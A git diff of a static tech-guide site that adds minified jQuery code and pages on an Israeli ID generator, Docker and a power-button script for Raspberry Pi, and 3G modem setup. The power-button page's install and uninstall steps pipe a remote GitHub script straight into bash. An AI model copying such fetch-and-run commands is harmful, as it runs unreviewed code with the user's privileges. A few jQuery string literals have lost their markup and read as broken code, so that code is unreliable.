dt(e.slice(0, u - 1)).replace(W, '$1'), + n, + r > u && vt(e.slice(u, r)), + o > r && vt((e = e.slice(r))), + o > r && dt(e), + ); + } + f.push(n); + } + return gt(f); + } + function bt(e, t) { + var n = 0, + o = t.length > 0, + a = e.length > 0, + s = function (s, u, c, f, d) { + var h, + g, + m, + y = [], + v = 0, + b = '0', + x = s && [], + w = null != d, + T = l, + C = + s || + (a && + i.find.TAG('*', (d && u.parentNode) || u)), + k = (N += null == T ? 1 : Math.random() || 0.1); + for ( + w && ((l = u !== p && u), (r = n)); + null != (h = C[b]); + b++ + ) { + if (a && h) { + g = 0; + while ((m = e[g++])) + if (m(h, u, c)) { + f.push(h); + break; + } + w && ((N = k), (r = ++n)); + } + o && ((h = !m && h) && v--, s && x.push(h)); + } + if (((v += b), o && b !== v)) { + g = 0; + while ((m = t[g++])) m(x, y, u, c); + if (s) { + if (v > 0) + while (b--) + x[b] || y[b] || (y[b] = L.call(f)); + y = mt(y); + } + H.apply(f, y), + w && + !s && + y.length > 0 && + v + t.length > 1 && + st.uniqueSort(f); + } + return w && ((N = k), (l = T)), x; + }; + return o ? ot(s) : s; + } + s = st.compile = function (e, t) { + var n, + r = [], + i = [], + o = S[e + ' ']; + if (!o) { + t || (t = ft(e)), (n = t.length); + while (n--) (o = vt(t[n])), o[x] ? r.push(o) : i.push(o); + o = S(e, bt(i, r)); + } + return o; + }; + function xt(e, t, n) { + var r = 0, + i = t.length; + for (; i > r; r++) st(e, t[r], n); + return n; + } + function wt(e, t, n, r) { + var o, + a, + u, + l, + c, + p = ft(e); + if (!r && 1 === p.length) { + if ( + ((a = p[0] = p[0].slice(0)), + a.length > 2 && + 'ID' === (u = a[0]).type && + 9 === t.nodeType && + !d && + i.relative[a[1].type]) + ) { + if ( + ((t = i.find.ID( + u.matches[0].replace(et, tt), + t, + )[0]), + !t) + ) + return n; + e = e.slice(a.shift().value.length); + } + o = U.needsContext.test(e) ? 0 : a.length; + while (o--) { + if (((u = a[o]), i.relative[(l = u.type)])) break; + if ( + (c = i.find[l]) && + (r = c( + u.matches[0].replace(et, tt), + (V.test(a[0].type) && t.parentNode) || t, + )) + ) { + if ((a.splice(o, 1), (e = r.length && dt(a)), !e)) + return H.apply(n, q.call(r, 0)), n; + break; + } + } + } + return s(e, p)(r, t, d, n, V.test(e)), n; + } + i.pseudos.nth = i.pseudos.eq; + function Tt() {} + (i.filters = Tt.prototype = i.pseudos), + (i.setFilters = new Tt()), + c(), + (st.attr = b.attr), + (b.find = st), + (b.expr = st.selectors), + (b.expr[':'] = b.expr.pseudos), + (b.unique = st.uniqueSort), + (b.text = st.getText), + (b.isXMLDoc = st.isXML), + (b.contains = st.contains); + })(e); + var at = /Until$/, + st = /^(?:parents|prev(?:Until|All))/, + ut = /^.[^:#\[\.,]*$/, + lt = b.expr.match.needsContext, + ct = {children: !0, contents: !0, next: !0, prev: !0}; + b.fn.extend({ + find: function (e) { + var t, + n, + r, + i = this.length; + if ('string' != typeof e) + return ( + (r = this), + this.pushStack( + b(e).filter(function () { + for (t = 0; i > t; t++) + if (b.contains(r[t], this)) return !0; + }), + ) + ); + for (n = [], t = 0; i > t; t++) b.find(e, this[t], n); + return ( + (n = this.pushStack(i > 1 ? b.unique(n) : n)), + (n.selector = (this.selector ? this.selector + ' ' : '') + e), + n + ); + }, + has: function (e) { + var t, + n = b(e, this), + r = n.length; + return this.filter(function () { + for (t = 0; r > t; t++) if (b.contains(this, n[t])) return !0; + }); + }, + not: function (e) { + return this.pushStack(ft(this, e, !1)); + }, + filter: function (e) { + return this.pushStack(ft(this, e, !0)); + }, + is: function (e) { + return ( + !!e && + ('string' == typeof e + ? lt.test(e) + ? b(e, this.context).index(this[0]) >= 0 + : b.filter(e, this).length > 0 + : this.filter(e).length > 0) + ); + }, + closest: function (e, t) { + var n, + r = 0, + i = this.length, + o = [], + a = + lt.test(e) || 'string' != typeof e + ? b(e, t || this.context) + : 0; + for (; i > r; r++) { + n = this[r]; + while (n && n.ownerDocument && n !== t && 11 !== n.nodeType) { + if (a ? a.index(n) > -1 : b.find.matchesSelector(n, e)) { + o.push(n); + break; + } + n = n.parentNode; + } + } + return this.pushStack(o.length > 1 ? b.unique(o) : o); + }, + index: function (e) { + return e + ? 'string' == typeof e + ? b.inArray(this[0], b(e)) + : b.inArray(e.jquery ? e[0] : e, this) + : this[0] && this[0].parentNode + ? this.first().prevAll().length + : -1; + }, + add: function (e, t) { + var n = + 'string' == typeof e + ? b(e, t) + : b.makeArray(e && e.nodeType ? [e] : e), + r = b.merge(this.get(), n); + return this.pushStack(b.unique(r)); + }, + addBack: function (e) { + return this.add( + null == e ? this.prevObject : this.prevObject.filter(e), + ); + }, + }), + (b.fn.andSelf = b.fn.addBack); + function pt(e, t) { + do e = e[t]; + while (e && 1 !== e.nodeType); + return e; + } + b.each( + { + parent: function (e) { + var t = e.parentNode; + return t && 11 !== t.nodeType ? t : null; + }, + parents: function (e) { + return b.dir(e, 'parentNode'); + }, + parentsUntil: function (e, t, n) { + return b.dir(e, 'parentNode', n); + }, + next: function (e) { + return pt(e, 'nextSibling'); + }, + prev: function (e) { + return pt(e, 'previousSibling'); + }, + nextAll: function (e) { + return b.dir(e, 'nextSibling'); + }, + prevAll: function (e) { + return b.dir(e, 'previousSibling'); + }, + nextUntil: function (e, t, n) { + return b.dir(e, 'nextSibling', n); + }, + prevUntil: function (e, t, n) { + return b.dir(e, 'previousSibling', n); + }, + siblings: function (e) { + return b.sibling((e.parentNode || {}).firstChild, e); + }, + children: function (e) { + return b.sibling(e.firstChild); + }, + contents: function (e) { + return b.nodeName(e, 'iframe') + ? e.contentDocument || e.contentWindow.document + : b.merge([], e.childNodes); + }, + }, + function (e, t) { + b.fn[e] = function (n, r) { + var i = b.map(this, t, n); + return ( + at.test(e) || (r = n), + r && 'string' == typeof r && (i = b.filter(r, i)), + (i = this.length > 1 && !ct[e] ? b.unique(i) : i), + this.length > 1 && st.test(e) && (i = i.reverse()), + this.pushStack(i) + ); + }; + }, + ), + b.extend({ + filter: function (e, t, n) { + return ( + n && (e = ':not(' + e + ')'), + 1 === t.length + ? b.find.matchesSelector(t[0], e) + ? [t[0]] + : [] + : b.find.matches(e, t) + ); + }, + dir: function (e, n, r) { + var i = [], + o = e[n]; + while ( + o && + 9 !== o.nodeType && + (r === t || 1 !== o.nodeType || !b(o).is(r)) + ) + 1 === o.nodeType && i.push(o), (o = o[n]); + return i; + }, + sibling: function (e, t) { + var n = []; + for (; e; e = e.nextSibling) + 1 === e.nodeType && e !== t && n.push(e); + return n; + }, + }); + function ft(e, t, n) { + if (((t = t || 0), b.isFunction(t))) + return b.grep(e, function (e, r) { + var i = !!t.call(e, r, e); + return i === n; + }); + if (t.nodeType) + return b.grep(e, function (e) { + return (e === t) === n; + }); + if ('string' == typeof t) { + var r = b.grep(e, function (e) { + return 1 === e.nodeType; + }); + if (ut.test(t)) return b.filter(t, r, !n); + t = b.filter(t, r); + } + return b.grep(e, function (e) { + return b.inArray(e, t) >= 0 === n; + }); + } + function dt(e) { + var t = ht.split('|'), + n = e.createDocumentFragment(); + if (n.createElement) while (t.length) n.createElement(t.pop()); + return n; + } + var ht = + 'abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video', + gt = / jQuery\d+="(?:null|\d+)"/g, + mt = RegExp('<(?:' + ht + ')[\\s/>]', 'i'), + yt = /^\s+/, + vt = + /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi, + bt = /<([\w:]+)/, + xt = /\s*$/g, + At = { + option: [1, "'], + legend: [1, '
    ', '
    '], + area: [1, '', ''], + param: [1, '', ''], + thead: [1, '', '
    '], + tr: [2, '', '
    '], + col: [2, '', '
    '], + td: [3, '', '
    '], + _default: b.support.htmlSerialize + ? [0, '', ''] + : [1, 'X
    ', '
    '], + }, + jt = dt(o), + Dt = jt.appendChild(o.createElement('div')); + (At.optgroup = At.option), + (At.tbody = At.tfoot = At.colgroup = At.caption = At.thead), + (At.th = At.td), + b.fn.extend({ + text: function (e) { + return b.access( + this, + function (e) { + return e === t + ? b.text(this) + : this.empty().append( + ( + (this[0] && this[0].ownerDocument) || + o + ).createTextNode(e), + ); + }, + null, + e, + arguments.length, + ); + }, + wrapAll: function (e) { + if (b.isFunction(e)) + return this.each(function (t) { + b(this).wrapAll(e.call(this, t)); + }); + if (this[0]) { + var t = b(e, this[0].ownerDocument).eq(0).clone(!0); + this[0].parentNode && t.insertBefore(this[0]), + t + .map(function () { + var e = this; + while ( + e.firstChild && + 1 === e.firstChild.nodeType + ) + e = e.firstChild; + return e; + }) + .append(this); + } + return this; + }, + wrapInner: function (e) { + return b.isFunction(e) + ? this.each(function (t) { + b(this).wrapInner(e.call(this, t)); + }) + : this.each(function () { + var t = b(this), + n = t.contents(); + n.length ? n.wrapAll(e) : t.append(e); + }); + }, + wrap: function (e) { + var t = b.isFunction(e); + return this.each(function (n) { + b(this).wrapAll(t ? e.call(this, n) : e); + }); + }, + unwrap: function () { + return this.parent() + .each(function () { + b.nodeName(this, 'body') || + b(this).replaceWith(this.childNodes); + }) + .end(); + }, + append: function () { + return this.domManip(arguments, !0, function (e) { + (1 === this.nodeType || + 11 === this.nodeType || + 9 === this.nodeType) && + this.appendChild(e); + }); + }, + prepend: function () { + return this.domManip(arguments, !0, function (e) { + (1 === this.nodeType || + 11 === this.nodeType || + 9 === this.nodeType) && + this.insertBefore(e, this.firstChild); + }); + }, + before: function () { + return this.domManip(arguments, !1, function (e) { + this.parentNode && this.parentNode.insertBefore(e, this); + }); + }, + after: function () { + return this.domManip(arguments, !1, function (e) { + this.parentNode && + this.parentNode.insertBefore(e, this.nextSibling); + }); + }, + remove: function (e, t) { + var n, + r = 0; + for (; null != (n = this[r]); r++) + (!e || b.filter(e, [n]).length > 0) && + (t || 1 !== n.nodeType || b.cleanData(Ot(n)), + n.parentNode && + (t && + b.contains(n.ownerDocument, n) && + Mt(Ot(n, 'script')), + n.parentNode.removeChild(n))); + return this; + }, + empty: function () { + var e, + t = 0; + for (; null != (e = this[t]); t++) { + 1 === e.nodeType && b.cleanData(Ot(e, !1)); + while (e.firstChild) e.removeChild(e.firstChild); + e.options && + b.nodeName(e, 'select') && + (e.options.length = 0); + } + return this; + }, + clone: function (e, t) { + return ( + (e = null == e ? !1 : e), + (t = null == t ? e : t), + this.map(function () { + return b.clone(this, e, t); + }) + ); + }, + html: function (e) { + return b.access( + this, + function (e) { + var n = this[0] || {}, + r = 0, + i = this.length; + if (e === t) + return 1 === n.nodeType + ? n.innerHTML.replace(gt, '') + : t; + if ( + !( + 'string' != typeof e || + Tt.test(e) || + (!b.support.htmlSerialize && mt.test(e)) || + (!b.support.leadingWhitespace && yt.test(e)) || + At[(bt.exec(e) || ['', ''])[1].toLowerCase()] + ) + ) { + e = e.replace(vt, '<$1>'); + try { + for (; i > r; r++) + (n = this[r] || {}), + 1 === n.nodeType && + (b.cleanData(Ot(n, !1)), + (n.innerHTML = e)); + n = 0; + } catch (o) {} + } + n && this.empty().append(e); + }, + null, + e, + arguments.length, + ); + }, + replaceWith: function (e) { + var t = b.isFunction(e); + return ( + t || 'string' == typeof e || (e = b(e).not(this).detach()), + this.domManip([e], !0, function (e) { + var t = this.nextSibling, + n = this.parentNode; + n && (b(this).remove(), n.insertBefore(e, t)); + }) + ); + }, + detach: function (e) { + return this.remove(e, !0); + }, + domManip: function (e, n, r) { + e = f.apply([], e); + var i, + o, + a, + s, + u, + l, + c = 0, + p = this.length, + d = this, + h = p - 1, + g = e[0], + m = b.isFunction(g); + if ( + m || + (!( + 1 >= p || + 'string' != typeof g || + b.support.checkClone + ) && + Ct.test(g)) + ) + return this.each(function (i) { + var o = d.eq(i); + m && (e[0] = g.call(this, i, n ? o.html() : t)), + o.domManip(e, n, r); + }); + if ( + p && + ((l = b.buildFragment(e, this[0].ownerDocument, !1, this)), + (i = l.firstChild), + 1 === l.childNodes.length && (l = i), + i) + ) { + for ( + n = n && b.nodeName(i, 'tr'), + s = b.map(Ot(l, 'script'), Ht), + a = s.length; + p > c; + c++ + ) + (o = l), + c !== h && + ((o = b.clone(o, !0, !0)), + a && b.merge(s, Ot(o, 'script'))), + r.call( + n && b.nodeName(this[c], 'table') + ? Lt(this[c], 'tbody') + : this[c], + o, + c, + ); + if (a) + for ( + u = s[s.length - 1].ownerDocument, + b.map(s, qt), + c = 0; + a > c; + c++ + ) + (o = s[c]), + kt.test(o.type || '') && + !b._data(o, 'globalEval') && + b.contains(u, o) && + (o.src + ? b.ajax({ + url: o.src, + type: 'GET', + dataType: 'script', + async: !1, + global: !1, + throws: !0, + }) + : b.globalEval( + ( + o.text || + o.textContent || + o.innerHTML || + '' + ).replace(St, ''), + )); + l = i = null; + } + return this; + }, + }); + function Lt(e, t) { + return ( + e.getElementsByTagName(t)[0] || + e.appendChild(e.ownerDocument.createElement(t)) + ); + } + function Ht(e) { + var t = e.getAttributeNode('type'); + return (e.type = (t && t.specified) + '/' + e.type), e; + } + function qt(e) { + var t = Et.exec(e.type); + return t ? (e.type = t[1]) : e.removeAttribute('type'), e; + } + function Mt(e, t) { + var n, + r = 0; + for (; null != (n = e[r]); r++) + b._data(n, 'globalEval', !t || b._data(t[r], 'globalEval')); + } + function _t(e, t) { + if (1 === t.nodeType && b.hasData(e)) { + var n, + r, + i, + o = b._data(e), + a = b._data(t, o), + s = o.events; + if (s) { + delete a.handle, (a.events = {}); + for (n in s) + for (r = 0, i = s[n].length; i > r; r++) + b.event.add(t, n, s[n][r]); + } + a.data && (a.data = b.extend({}, a.data)); + } + } + function Ft(e, t) { + var n, r, i; + if (1 === t.nodeType) { + if ( + ((n = t.nodeName.toLowerCase()), + !b.support.noCloneEvent && t[b.expando]) + ) { + i = b._data(t); + for (r in i.events) b.removeEvent(t, r, i.handle); + t.removeAttribute(b.expando); + } + 'script' === n && t.text !== e.text + ? ((Ht(t).text = e.text), qt(t)) + : 'object' === n + ? (t.parentNode && (t.outerHTML = e.outerHTML), + b.support.html5Clone && + e.innerHTML && + !b.trim(t.innerHTML) && + (t.innerHTML = e.innerHTML)) + : 'input' === n && Nt.test(e.type) + ? ((t.defaultChecked = t.checked = e.checked), + t.value !== e.value && (t.value = e.value)) + : 'option' === n + ? (t.defaultSelected = t.selected = e.defaultSelected) + : ('input' === n || 'textarea' === n) && + (t.defaultValue = e.defaultValue); + } + } + b.each( + { + appendTo: 'append', + prependTo: 'prepend', + insertBefore: 'before', + insertAfter: 'after', + replaceAll: 'replaceWith', + }, + function (e, t) { + b.fn[e] = function (e) { + var n, + r = 0, + i = [], + o = b(e), + a = o.length - 1; + for (; a >= r; r++) + (n = r === a ? this : this.clone(!0)), + b(o[r])[t](n), + d.apply(i, n.get()); + return this.pushStack(i); + }; + }, + ); + function Ot(e, n) { + var r, + o, + a = 0, + s = + typeof e.getElementsByTagName !== i + ? e.getElementsByTagName(n || '*') + : typeof e.querySelectorAll !== i + ? e.querySelectorAll(n || '*') + : t; + if (!s) + for (s = [], r = e.childNodes || e; null != (o = r[a]); a++) + !n || b.nodeName(o, n) ? s.push(o) : b.merge(s, Ot(o, n)); + return n === t || (n && b.nodeName(e, n)) ? b.merge([e], s) : s; + } + function Bt(e) { + Nt.test(e.type) && (e.defaultChecked = e.checked); + } + b.extend({ + clone: function (e, t, n) { + var r, + i, + o, + a, + s, + u = b.contains(e.ownerDocument, e); + if ( + (b.support.html5Clone || + b.isXMLDoc(e) || + !mt.test('<' + e.nodeName + '>') + ? (o = e.cloneNode(!0)) + : ((Dt.innerHTML = e.outerHTML), + Dt.removeChild((o = Dt.firstChild))), + !( + (b.support.noCloneEvent && b.support.noCloneChecked) || + (1 !== e.nodeType && 11 !== e.nodeType) || + b.isXMLDoc(e) + )) + ) + for (r = Ot(o), s = Ot(e), a = 0; null != (i = s[a]); ++a) + r[a] && Ft(i, r[a]); + if (t) + if (n) + for ( + s = s || Ot(e), r = r || Ot(o), a = 0; + null != (i = s[a]); + a++ + ) + _t(i, r[a]); + else _t(e, o); + return ( + (r = Ot(o, 'script')), + r.length > 0 && Mt(r, !u && Ot(e, 'script')), + (r = s = i = null), + o + ); + }, + buildFragment: function (e, t, n, r) { + var i, + o, + a, + s, + u, + l, + c, + p = e.length, + f = dt(t), + d = [], + h = 0; + for (; p > h; h++) + if (((o = e[h]), o || 0 === o)) + if ('object' === b.type(o)) + b.merge(d, o.nodeType ? [o] : o); + else if (wt.test(o)) { + (s = s || f.appendChild(t.createElement('div'))), + (u = (bt.exec(o) || ['', ''])[1].toLowerCase()), + (c = At[u] || At._default), + (s.innerHTML = + c[1] + o.replace(vt, '<$1>') + c[2]), + (i = c[0]); + while (i--) s = s.lastChild; + if ( + (!b.support.leadingWhitespace && + yt.test(o) && + d.push(t.createTextNode(yt.exec(o)[0])), + !b.support.tbody) + ) { + (o = + 'table' !== u || xt.test(o) + ? '' !== c[1] || xt.test(o) + ? 0 + : s + : s.firstChild), + (i = o && o.childNodes.length); + while (i--) + b.nodeName((l = o.childNodes[i]), 'tbody') && + !l.childNodes.length && + o.removeChild(l); + } + b.merge(d, s.childNodes), (s.textContent = ''); + while (s.firstChild) s.removeChild(s.firstChild); + s = f.lastChild; + } else d.push(t.createTextNode(o)); + s && f.removeChild(s), + b.support.appendChecked || b.grep(Ot(d, 'input'), Bt), + (h = 0); + while ((o = d[h++])) + if ( + (!r || -1 === b.inArray(o, r)) && + ((a = b.contains(o.ownerDocument, o)), + (s = Ot(f.appendChild(o), 'script')), + a && Mt(s), + n) + ) { + i = 0; + while ((o = s[i++])) kt.test(o.type || '') && n.push(o); + } + return (s = null), f; + }, + cleanData: function (e, t) { + var n, + r, + o, + a, + s = 0, + u = b.expando, + l = b.cache, + p = b.support.deleteExpando, + f = b.event.special; + for (; null != (n = e[s]); s++) + if ((t || b.acceptData(n)) && ((o = n[u]), (a = o && l[o]))) { + if (a.events) + for (r in a.events) + f[r] + ? b.event.remove(n, r) + : b.removeEvent(n, r, a.handle); + l[o] && + (delete l[o], + p + ? delete n[u] + : typeof n.removeAttribute !== i + ? n.removeAttribute(u) + : (n[u] = null), + c.push(o)); + } + }, + }); + var Pt, + Rt, + Wt, + $t = /alpha\([^)]*\)/i, + It = /opacity\s*=\s*([^)]*)/, + zt = /^(top|right|bottom|left)$/, + Xt = /^(none|table(?!-c[ea]).+)/, + Ut = /^margin/, + Vt = RegExp('^(' + x + ')(.*)$', 'i'), + Yt = RegExp('^(' + x + ')(?!px)[a-z%]+$', 'i'), + Jt = RegExp('^([+-])=(' + x + ')', 'i'), + Gt = {BODY: 'block'}, + Qt = {position: 'absolute', visibility: 'hidden', display: 'block'}, + Kt = {letterSpacing: 0, fontWeight: 400}, + Zt = ['Top', 'Right', 'Bottom', 'Left'], + en = ['Webkit', 'O', 'Moz', 'ms']; + function tn(e, t) { + if (t in e) return t; + var n = t.charAt(0).toUpperCase() + t.slice(1), + r = t, + i = en.length; + while (i--) if (((t = en[i] + n), t in e)) return t; + return r; + } + function nn(e, t) { + return ( + (e = t || e), + 'none' === b.css(e, 'display') || !b.contains(e.ownerDocument, e) + ); + } + function rn(e, t) { + var n, + r, + i, + o = [], + a = 0, + s = e.length; + for (; s > a; a++) + (r = e[a]), + r.style && + ((o[a] = b._data(r, 'olddisplay')), + (n = r.style.display), + t + ? (o[a] || 'none' !== n || (r.style.display = ''), + '' === r.style.display && + nn(r) && + (o[a] = b._data(r, 'olddisplay', un(r.nodeName)))) + : o[a] || + ((i = nn(r)), + ((n && 'none' !== n) || !i) && + b._data( + r, + 'olddisplay', + i ? n : b.css(r, 'display'), + ))); + for (a = 0; s > a; a++) + (r = e[a]), + r.style && + ((t && + 'none' !== r.style.display && + '' !== r.style.display) || + (r.style.display = t ? o[a] || '' : 'none')); + return e; + } + b.fn.extend({ + css: function (e, n) { + return b.access( + this, + function (e, n, r) { + var i, + o, + a = {}, + s = 0; + if (b.isArray(n)) { + for (o = Rt(e), i = n.length; i > s; s++) + a[n[s]] = b.css(e, n[s], !1, o); + return a; + } + return r !== t ? b.style(e, n, r) : b.css(e, n); + }, + e, + n, + arguments.length > 1, + ); + }, + show: function () { + return rn(this, !0); + }, + hide: function () { + return rn(this); + }, + toggle: function (e) { + var t = 'boolean' == typeof e; + return this.each(function () { + (t ? e : nn(this)) ? b(this).show() : b(this).hide(); + }); + }, + }), + b.extend({ + cssHooks: { + opacity: { + get: function (e, t) { + if (t) { + var n = Wt(e, 'opacity'); + return '' === n ? '1' : n; + } + }, + }, + }, + cssNumber: { + columnCount: !0, + fillOpacity: !0, + fontWeight: !0, + lineHeight: !0, + opacity: !0, + orphans: !0, + widows: !0, + zIndex: !0, + zoom: !0, + }, + cssProps: {float: b.support.cssFloat ? 'cssFloat' : 'styleFloat'}, + style: function (e, n, r, i) { + if (e && 3 !== e.nodeType && 8 !== e.nodeType && e.style) { + var o, + a, + s, + u = b.camelCase(n), + l = e.style; + if ( + ((n = b.cssProps[u] || (b.cssProps[u] = tn(l, u))), + (s = b.cssHooks[n] || b.cssHooks[u]), + r === t) + ) + return s && 'get' in s && (o = s.get(e, !1, i)) !== t + ? o + : l[n]; + if ( + ((a = typeof r), + 'string' === a && + (o = Jt.exec(r)) && + ((r = (o[1] + 1) * o[2] + parseFloat(b.css(e, n))), + (a = 'number')), + !( + null == r || + ('number' === a && isNaN(r)) || + ('number' !== a || b.cssNumber[u] || (r += 'px'), + b.support.clearCloneStyle || + '' !== r || + 0 !== n.indexOf('background') || + (l[n] = 'inherit'), + s && 'set' in s && (r = s.set(e, r, i)) === t) + )) + ) + try { + l[n] = r; + } catch (c) {} + } + }, + css: function (e, n, r, i) { + var o, + a, + s, + u = b.camelCase(n); + return ( + (n = b.cssProps[u] || (b.cssProps[u] = tn(e.style, u))), + (s = b.cssHooks[n] || b.cssHooks[u]), + s && 'get' in s && (a = s.get(e, !0, r)), + a === t && (a = Wt(e, n, i)), + 'normal' === a && n in Kt && (a = Kt[n]), + '' === r || r + ? ((o = parseFloat(a)), + r === !0 || b.isNumeric(o) ? o || 0 : a) + : a + ); + }, + swap: function (e, t, n, r) { + var i, + o, + a = {}; + for (o in t) (a[o] = e.style[o]), (e.style[o] = t[o]); + i = n.apply(e, r || []); + for (o in t) e.style[o] = a[o]; + return i; + }, + }), + e.getComputedStyle + ? ((Rt = function (t) { + return e.getComputedStyle(t, null); + }), + (Wt = function (e, n, r) { + var i, + o, + a, + s = r || Rt(e), + u = s ? s.getPropertyValue(n) || s[n] : t, + l = e.style; + return ( + s && + ('' !== u || + b.contains(e.ownerDocument, e) || + (u = b.style(e, n)), + Yt.test(u) && + Ut.test(n) && + ((i = l.width), + (o = l.minWidth), + (a = l.maxWidth), + (l.minWidth = l.maxWidth = l.width = u), + (u = s.width), + (l.width = i), + (l.minWidth = o), + (l.maxWidth = a))), + u + ); + })) + : o.documentElement.currentStyle && + ((Rt = function (e) { + return e.currentStyle; + }), + (Wt = function (e, n, r) { + var i, + o, + a, + s = r || Rt(e), + u = s ? s[n] : t, + l = e.style; + return ( + null == u && l && l[n] && (u = l[n]), + Yt.test(u) && + !zt.test(n) && + ((i = l.left), + (o = e.runtimeStyle), + (a = o && o.left), + a && (o.left = e.currentStyle.left), + (l.left = 'fontSize' === n ? '1em' : u), + (u = l.pixelLeft + 'px'), + (l.left = i), + a && (o.left = a)), + '' === u ? 'auto' : u + ); + })); + function on(e, t, n) { + var r = Vt.exec(t); + return r ? Math.max(0, r[1] - (n || 0)) + (r[2] || 'px') : t; + } + function an(e, t, n, r, i) { + var o = n === (r ? 'border' : 'content') ? 4 : 'width' === t ? 1 : 0, + a = 0; + for (; 4 > o; o += 2) + 'margin' === n && (a += b.css(e, n + Zt[o], !0, i)), + r + ? ('content' === n && + (a -= b.css(e, 'padding' + Zt[o], !0, i)), + 'margin' !== n && + (a -= b.css(e, 'border' + Zt[o] + 'Width', !0, i))) + : ((a += b.css(e, 'padding' + Zt[o], !0, i)), + 'padding' !== n && + (a += b.css(e, 'border' + Zt[o] + 'Width', !0, i))); + return a; + } + function sn(e, t, n) { + var r = !0, + i = 'width' === t ? e.offsetWidth : e.offsetHeight, + o = Rt(e), + a = + b.support.boxSizing && + 'border-box' === b.css(e, 'boxSizing', !1, o); + if (0 >= i || null == i) { + if ( + ((i = Wt(e, t, o)), + (0 > i || null == i) && (i = e.style[t]), + Yt.test(i)) + ) + return i; + (r = a && (b.support.boxSizingReliable || i === e.style[t])), + (i = parseFloat(i) || 0); + } + return i + an(e, t, n || (a ? 'border' : 'content'), r, o) + 'px'; + } + function un(e) { + var t = o, + n = Gt[e]; + return ( + n || + ((n = ln(e, t)), + ('none' !== n && n) || + ((Pt = ( + Pt || + b("

    Comments

    \ No newline at end of file diff --git a/penetration-testing/utilities/idd-generator/index.html b/penetration-testing/utilities/idd-generator/index.html new file mode 100644 index 000000000..50ceab955 --- /dev/null +++ b/penetration-testing/utilities/idd-generator/index.html @@ -0,0 +1,167 @@ +IID Generator & Validator - 3os

    Support us

    Authors: fire1ce | Created: 2021-08-27 | Last update: 2022-08-02

    IID Generator & Validator

    Description

    This is a simple Java Script tool to validate or generate a random Israel's ID number.

    Credit & Sources

    The code was built by Georgy Bunin and cloned from his repository.
    It was slightly modified to fit this website.

    Comments

    \ No newline at end of file diff --git a/psd-src/3os-preview.png b/psd-src/3os-preview.png new file mode 100644 index 000000000..a30ee7634 Binary files /dev/null and b/psd-src/3os-preview.png differ diff --git a/psd-src/3os-preview.psd b/psd-src/3os-preview.psd new file mode 100644 index 000000000..068e48695 Binary files /dev/null and b/psd-src/3os-preview.psd differ diff --git a/psd-src/3os-preview_v2.psd b/psd-src/3os-preview_v2.psd new file mode 100644 index 000000000..94dd41344 Binary files /dev/null and b/psd-src/3os-preview_v2.psd differ diff --git a/raspberry-pi/docker-raspberrypi/index.html b/raspberry-pi/docker-raspberrypi/index.html new file mode 100644 index 000000000..fc77ff96a --- /dev/null +++ b/raspberry-pi/docker-raspberrypi/index.html @@ -0,0 +1,173 @@ +Docker on Raspberry Pi - 3os

    Support us

    Authors: fire1ce | Created: 2021-08-27 | Last update: 2022-04-24

    Docker and Docker-compose on Raspberry Pi

    How to install docker on Raspberry Pi

    sudo apt install -y docker.io
    +

    Runing Docker as root

    sudo usermod -aG docker pi
    +

    Manage Docker as a non-root user

    The Docker daemon binds to a Unix socket instead of a TCP port. By default that Unix socket is owned by the user root and other users can only access it using sudo. The Docker daemon always runs as the root user.

    If you don’t want to preface the docker command with sudo, create a Unix group called docker and add users to it. When the Docker daemon starts, it creates a Unix socket accessible by members of the docker group.

    Warning

    The docker group grants privileges equivalent to the root user.

    sudo groupadd docker
    +sudo usermod -aG docker $USER
    +newgrp docker
    +

    How to install docker-compose on Raspberry Pi

    sudo apt install docker-compose
    +

    Comments

    \ No newline at end of file diff --git a/raspberry-pi/external-power-button/index.html b/raspberry-pi/external-power-button/index.html new file mode 100644 index 000000000..faddb14d9 --- /dev/null +++ b/raspberry-pi/external-power-button/index.html @@ -0,0 +1,171 @@ +External Power Button - 3os

    Support us

    Authors: fire1ce | Created: 2022-04-24 | Last update: 2022-04-24

    External Power Button For Raspberry Pi

    Python script to control Raspberry Pi with external power button - Wake/Power Off/Restart(Double Press)

    Official Github Repo

    Raspberry Pi Power Button - Wake/Power Off/Restart(Double Press)

    Information

    When Raspberry Pi is powered off, shortening GPIO3 (Pin 5) to ground will wake the Raspberry Pi.

    This script uses pin GPIO3(5), Ground(6) with momentary button.

    gpio layout

    raspberrypi-with-button

    Requirements

    • python3-gpiozero

    Can be install via apt

    sudo apt install python3-gpiozero
    +

    Install

    This will install the script as service and it will run at boot

    curl https://raw.githubusercontent.com/fire1ce/raspberry-pi-power-button/main/install.sh | bash
    +

    Uninstall

    curl https://raw.githubusercontent.com/fire1ce/raspberry-pi-power-button/main/uninstall.sh | bash
    +

    Default Behavior

    Button Press (Raspberry Pi is ON) Behavior
    Single Nothing
    Double Reboot
    Long press and releases (above 3 seconds) Power off
    Button Press (Raspberry Pi is OFF) Behavior
    Single Power On

    Check if service is running

    sudo systemctl status power_button.service
    +

    Comments

    \ No newline at end of file diff --git a/raspberry-pi/guides/3g-modem-host/index.html b/raspberry-pi/guides/3g-modem-host/index.html new file mode 100644 index 000000000..78fbb362a --- /dev/null +++ b/raspberry-pi/guides/3g-modem-host/index.html @@ -0,0 +1,214 @@ + 3g Modem Host Configuration - 3os

    Support us

    Authors: fire1ce | Created: 2021-08-27 | Last update: 2022-08-02

    3g Modem Host Configuration

    Install ubuntu server for raspberrypi using Raspberry Pi Imager{}

    Packages Installation

    apt install -y ppp curl wget git dnsutils whois net-tools htop gcc libusb-1.0-0-dev iptables-persistent isc-dhcp-server
    +

    After the install add a symlink

    ln -s /usr/include/libusb-1.0/libusb.h /usr/include/libusb.h
    +

    sakis3g Script Installation

    Clone, Compile, and copy to /usr/bin/

    git clone https://github.com/Trixarian/sakis3g-source.git
    +cd sakis3g-source
    +./compile
    +cp build/sakis3gz /usr/bin/sakis3g
    +

    Create new script for auto connect

    nano /usr/bin/sakis3gConnect.sh
    +

    Note

    interactive connect (for testing) bash sakis3g --interactive

    Copy the following

    #!/bin/bash
    +
    +/usr/bin/sakis3g start USBINTERFACE="5" APN="vob3g"  APN_USER=" " APN_PASS=" "
    +

    Note

    When APN credentials are epmpy, APN_USER and APN_PASS should be a string with a space

    Add executable permissions

    chmod +x sakis3gConnect.sh
    +

    Run the script sakis3gConnect.sh

    You should have a new interface ppp0

    Configuring DHCP Server

    !! info The following configuration assumes use of eth0 interface for the DHCP

    Edit

    nano /etc/default/isc-dhcp-server
    +

